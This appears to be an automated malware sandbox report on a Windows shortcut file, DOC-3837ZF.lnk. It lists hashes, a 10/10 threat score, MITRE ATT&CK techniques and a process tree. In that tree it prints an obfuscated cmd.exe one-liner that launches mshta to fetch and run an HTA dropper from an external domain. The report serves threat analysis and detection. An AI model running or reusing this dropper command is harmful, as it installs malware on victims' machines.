8ae2a8b3722df0f7fb5221dabd542ba7b55cc8a435e6371531d84c9aec4c9f95

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:32

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General

Target
DOC-3837ZF.lnk
Size 1KB
Sample260804-kfer3a1tbv
SHA256 8ae2a8b3722df0f7fb5221dabd542ba7b55cc8a435e6371531d84c9aec4c9f95
MD5 9b7ebf38206ce19e9ea937c9de730d50
SHA1 a52ea5f1dc2651edced7925d5ccf59566ab1c297
SHA512 bf8aba5654c555f2a6b41cf1048c189a36150b8e600f4b4d6435e3f305563b5eb080343db084f10a6c5fee9166063fbcf48c72a5eb9c5ac730eb2398fae05b7b
TLSH
T1543197403EFC0668F3B38E7698BB5B2089BBB8A58D20C62D0081460C5022A15E13AF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3780	cmd.exe
2568	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 2568	3780	cmd.exe	90
PID 2568 wrote to memory of 3176	2568	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3837ZF.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3780
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set yFpEm=msh&&set JVyT=ta&&start "" !yFpEm!!JVyT! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3176

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads